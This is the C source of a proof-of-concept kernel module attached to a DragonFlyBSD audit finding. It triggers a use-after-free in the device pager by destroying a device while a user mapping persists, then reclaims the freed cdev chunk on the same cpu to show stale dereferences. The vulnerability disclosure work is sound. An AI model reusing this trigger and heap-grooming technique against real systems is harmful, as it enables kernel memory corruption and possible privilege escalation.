DragonFlyBSD Kernel Audit
DF-2938 / devuaf.c
← back to finding ↓ download raw
/*
 * devuaf.c -- PoC loadable module for DF-2938
 * (OBJT_DEVICE device pager never pins the cdev: sys/vm/device_pager.c
 * old_dev_pager_ctor/dtor dropped the reference_dev()/release_dev() pair
 * the FreeBSD lineage had).
 *
 * Creates a world-mappable old-style (d_mmap, no d_mmap_single) char
 * device /dev/devuaf (0666).  Its d_mmap returns the PFN of a
 * module-owned kernel page ('A' generation, then 'B' after swap).
 *
 * IOCTL_UAF_SWAP (root only, via /dev/uafctl):
 *	1. destroy_dev() on /dev/devuaf -- exactly what driver teardown,
 *	   the dsp clone GC, or a USB unplug does -- while an
 *	   unprivileged mapping backed by the old OBJT_DEVICE pager
 *	   object still exists (the mapping pins nothing but the
 *	   vm_object).
 *	2. allocate a fresh cdev pinned to cpu <arg>; if the freed chunk
 *	   is picked up again we record reused=1.
 *
 * Evidence: uaf_mmap records ap->a_head.a_dev of every call.  Any call
 * with a_dev == old_chunk (== the destroyed cdev) after the destroy is
 * the kernel dereferencing freed memory through
 * object->handle -> dev_dmmap() -> dev->si_ops->d_mmap.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/malloc.h>
#include <sys/devfs.h>
#include <vm/vm.h>
#include <vm/vm_page.h>
#include <sys/thread.h>
#include <sys/globaldata.h>

MALLOC_DEFINE(M_DEVUAF, "devuaf", "devuaf PoC");

#include <sys/ioccom.h>
#define IOCTL_UAF_SWAP		_IOW('u', 1, int)
#define IOCTL_UAF_STATUS	_IOR('u', 2, struct uaf_status)

struct uaf_status {
	void	*old_chunk;	/* destroyed cdev			*/
	void	*cur_dev;	/* current (generation-1) cdev		*/
	void	*last_a_dev;	/* a_dev seen by last d_mmap call	*/
	int	reused;		/* cur_dev == old_chunk			*/
	int	gen;		/* 0='A' page, 1='B' page		*/
	int	faults;		/* total d_mmap calls			*/
};

static d_open_t	uaf_open;
static d_mmap_t	uaf_mmap;
static d_ioctl_t uaf_ioctl;

static struct dev_ops uaf_ops = {
	{ "devuaf", 0, D_MPSAFE },
	.d_open		= uaf_open,
	.d_mmap		= uaf_mmap,	/* no d_mmap_single => vm_mmap falls
					 * back to dev_pager_alloc() */
};

static struct dev_ops uafctl_ops = {
	{ "uafctl", 0, D_MPSAFE },
	.d_open		= uaf_open,
	.d_ioctl	= uaf_ioctl,
};

static cdev_t	uaf_dev;
static cdev_t	uafctl_dev;
static char	*pgA;
static char	*pgB;
static void	*old_chunk;
static void	*last_a_dev;
static int	reused;
static int	last_gen;
static int	faults;

static int
uaf_open(struct dev_open_args *ap)
{
	return (0);
}

static int
uaf_mmap(struct dev_mmap_args *ap)
{
	last_a_dev = ap->a_head.a_dev;

	if (ap->a_offset >= 2 * PAGE_SIZE)
		return (EINVAL);
	ap->a_result = vtophys(last_gen ? pgB : pgA) >> PAGE_SHIFT;
	faults++;
	return (0);
}

static int
uaf_ioctl(struct dev_ioctl_args *ap)
{
	struct uaf_status st;

	switch (ap->a_cmd) {
	case IOCTL_UAF_SWAP:
	{
		int cpu = *(int *)ap->a_data;

		if (uaf_dev == NULL)
			return (ENODEV);
		old_chunk = uaf_dev;
		last_gen = 0;
		reused = 0;
		destroy_dev(uaf_dev);		/* frees the cdev */
		uaf_dev = NULL;
		devfs_config();			/* sync devfs worker */
		tsleep(&uaf_dev, 0, "uafdl", hz / 10);

		/*
		 * Replacement cdev on the cpu where the free happened so
		 * the freed chunk sits at the head of that cpu's objcache
		 * magazine.
		 */
		/*
		 * NOTE: the caller (userland) binds itself to cpu N with
		 * usched_set(USCHED_SET_CPU) before issuing this ioctl,
		 * so the make_dev() allocation happens on the target cpu.
		 */
		last_gen = 1;
		uaf_dev = make_dev(&uaf_ops, 0, UID_ROOT, GID_WHEEL, 0666,
				   "devuaf");
		if ((void *)uaf_dev == old_chunk)
			reused = 1;
		kprintf("devuaf: SWAP old=%p new=%p reused=%d (cpu %d)\n",
		    old_chunk, uaf_dev, reused, cpu);
		return (0);
	}
	case IOCTL_UAF_STATUS:
		st.old_chunk = old_chunk;
		st.cur_dev   = uaf_dev;
		st.last_a_dev = last_a_dev;
		st.reused    = reused;
		st.gen	     = last_gen;
		st.faults    = faults;
		*(struct uaf_status *)ap->a_data = st;
		return (0);
	default:
		return (ENOIOCTL);
	}
}

static int
devuaf_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		pgA = kmalloc(PAGE_SIZE, M_DEVUAF, M_WAITOK | M_ZERO);
		pgB = kmalloc(PAGE_SIZE, M_DEVUAF, M_WAITOK | M_ZERO);
		memset(pgA, 'A', PAGE_SIZE);
		memset(pgB, 'B', PAGE_SIZE);
		last_gen = 0;
		uaf_dev = make_dev(&uaf_ops, 0, UID_ROOT, GID_WHEEL, 0666,
				   "devuaf");
		uafctl_dev = make_dev(&uafctl_ops, 0, UID_ROOT, GID_WHEEL,
				      0600, "uafctl");
		kprintf("devuaf: loaded dev=%p pgA=%p pgB=%p\n",
		    uaf_dev, pgA, pgB);
		return (0);
	case MOD_UNLOAD:
		if (uaf_dev)
			destroy_dev(uaf_dev);
		if (uafctl_dev)
			destroy_dev(uafctl_dev);
		kfree(pgA, M_DEVUAF);
		kfree(pgB, M_DEVUAF);
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(devuaf, devuaf_modevent, NULL);